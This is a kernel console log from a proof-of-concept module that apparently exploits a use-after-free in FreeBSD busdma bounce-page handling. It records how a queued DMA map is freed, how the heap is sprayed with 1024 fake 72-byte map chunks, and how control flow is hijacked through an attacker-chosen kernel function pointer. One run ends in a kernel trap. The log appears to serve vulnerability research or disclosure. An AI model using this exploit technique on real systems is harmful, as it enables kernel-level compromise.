busdmauaf: POC_TEST=1 loaded
BUSDMA-UAF: === TEST 1 (hijack proof) ===
BUSDMA-UAF: tag=0xfffff8008da44e88 (private zone, 1 bpage)
BUSDMA-UAF: mapA=0xfffff8008dac5768 mapB=0xfffff8008dac57b0 (zone now 2 bpages)
BUSDMA-UAF: mapB load -> 0 (both bpages active)
BUSDMA-UAF: mapA load -> 36 (EINPROGRESS=36; mapA queued)
BUSDMA-UAF: bus_dmamap_destroy(queued mapA) -> 0  (0 == FREED WHILE STILL LINKED ON WAITING LIST)
BUSDMA-UAF: spray chunk 0 == freed mapA (reclaimed!)
BUSDMA-UAF: sprayed 1024 fake-map chunks (72B, callback=0xffffffff82600000)
BUSDMA-UAF: fake map written via dangling ref 0xfffff8008dac5768 (reclaimed chunk)
BUSDMA-UAF: bus_dmamap_unload(mapB) frees bpages, waking the FREED map ...
BUSDMA-UAF: *** HIJACK PROVEN *** attacker-chosen function 0xffffffff82600000 executed, arg=0xbaadf00d nsegs=1 error=0
BUSDMA-UAF: RESULT=HIJACKED: kernel called the function pointer 0xffffffff82600000 read from FREED memory (arg=0xbaadf00d)
busdmauaf: test body finished
login: module_register: module busdmauaf already exists!
Module busdmauaf failed to register: 17
busdmauaf: unloaded
busdmauaf: POC_TEST=1 loaded
BUSDMA-UAF: === TEST 1 (hijack proof) ===
BUSDMA-UAF: tag=0xfffff80117b107d0 (private zone, 1 bpage)
BUSDMA-UAF: mapA=0xfffff8008d3a1628 mapB=0xfffff8008d3a1670 (zone now 2 bpages)
BUSDMA-UAF: mapB load -> 0 (both bpages active)
BUSDMA-UAF: mapA load -> 36 (EINPROGRESS=36; mapA queued)
BUSDMA-UAF: bus_dmamap_destroy(queued mapA) -> 0  (0 == FREED WHILE STILL LINKED ON WAITING LIST)
BUSDMA-UAF: spray chunk 0 == freed mapA (reclaimed!)
BUSDMA-UAF: sprayed 1024 fake-map chunks (72B, callback=0xffffffff82600000)
BUSDMA-UAF: fake map written via dangling ref 0xfffff8008d3a1628 (reclaimed chunk)
BUSDMA-UAF: bus_dmamap_unload(mapB) frees bpages, waking the FREED map ...
BUSDMA-UAF: *** HIJACK PROVEN *** attacker-chosen function 0xffffffff82600000 executed, arg=0xbaadf00d nsegs=1 error=0
BUSDMA-UAF: RESULT=HIJACKED: kernel called the function pointer 0xffffffff82600000 read from FREED memory (arg=0xbaadf00d)
busdmauaf: test body finished
busdmauaf: unloaded
busdmauaf: POC_TEST=1 loaded
BUSDMA-UAF: === TEST 1 (hijack proof) ===
BUSDMA-UAF: tag=0xfffff8008bbd6448 (private zone, 1 bpage)
BUSDMA-UAF: mapA=0xfffff8004f1837a0 mapB=0xfffff8004f1837e8 (zone now 2 bpages)
BUSDMA-UAF: mapB load -> 0 (both bpages active)
BUSDMA-UAF: mapA load -> 36 (EINPROGRESS=36; mapA queued)
BUSDMA-UAF: bus_dmamap_destroy(queued mapA) -> 0  (0 == FREED WHILE STILL LINKED ON WAITING LIST)
BUSDMA-UAF: spray chunk 0 == freed mapA (reclaimed!)
BUSDMA-UAF: sprayed 1024 fake-map chunks (72B, callback=0xffffffff82600000)
BUSDMA-UAF: fake map written via dangling ref 0xfffff8004f1837a0 (reclaimed chunk)
BUSDMA-UAF: bus_dmamap_unload(mapB) frees bpages, waking the FREED map ...
BUSDMA-UAF: *** HIJACK PROVEN *** attacker-chosen function 0xffffffff82600000 executed, arg=0xbaadf00d nsegs=1 error=0
BUSDMA-UAF: RESULT=HIJACKED: kernel called the function pointer 0xffffffff82600000 read from FREED memory (arg=0xbaadf00d)
busdmauaf: test body finished
busdmauaf: unloaded
busdmauaf: POC_TEST=2 loaded
BUSDMA-PHANTOM: === TEST 2 (unload does not dequeue) ===
BUSDMA-PHANTOM: mapX load -> 0 (1 bpage active, 1 free)
BUSDMA-PHANTOM: mapY load -> 36 (EINPROGRESS; mapY queued, holds partial reservation of 1 bpage)
BUSDMA-PHANTOM: bus_dmamap_unload(mapY) returned -- map is STILL on the waiting list (no dequeue, no counter reset)
BUSDMA-PHANTOM: bus_dmamap_unload(mapX) frees a bpage -> wakes the UNLOADED mapY ...
BUSDMA-PHANTOM: *** DEFERRED CALLBACK FIRED FOR UNLOADED MAP *** buf=0xd0000002 nsegs=2 error=0 (driver already called bus_dmamap_unload!)
BUSDMA-PHANTOM: RESULT=PHANTOM CONFIRMED: deferred bus_dmamap_load ran on the UNLOADED map and invoked its callback with stale buffer state
BUSDMA-PHANTOM: cleanup done
busdmauaf: test body finished
busdmauaf: unloaded
busdmauaf: POC_TEST=3 loaded
BUSDMA-UAF: === TEST 3 (panic: evil callback ptr 0x414141414000) ===
BUSDMA-UAF: tag=0xfffff80117b10828 (private zone, 1 bpage)
BUSDMA-UAF: mapA=0xfffff8008d3b3670 mapB=0xfffff8008d3b36b8 (zone now 2 bpages)
BUSDMA-UAF: *** HIJACK PROVEN *** attacker-chosen function 0xffffffff82600000 executed, arg=0xb0000001 nsegs=2 error=0
BUSDMA-UAF: mapB load -> 0 (both bpages active)
BUSDMA-UAF: mapA load -> 36 (EINPROGRESS=36; mapA queued)
BUSDMA-UAF: bus_dmamap_destroy(queued mapA) -> 0  (0 == FREED WHILE STILL LINKED ON WAITING LIST)
BUSDMA-UAF: spray chunk 0 == freed mapA (reclaimed!)
BUSDMA-UAF: sprayed 1024 fake-map chunks (72B, callback=0x414141414000)
BUSDMA-UAF: fake map written via dangling ref 0xfffff8008d3b3670 (reclaimed chunk)
BUSDMA-UAF: bus_dmamap_unload(mapB) frees bpages, waking the FREED map ...
BStopped at      0x414141414000: kernel: type 12 trap, code=0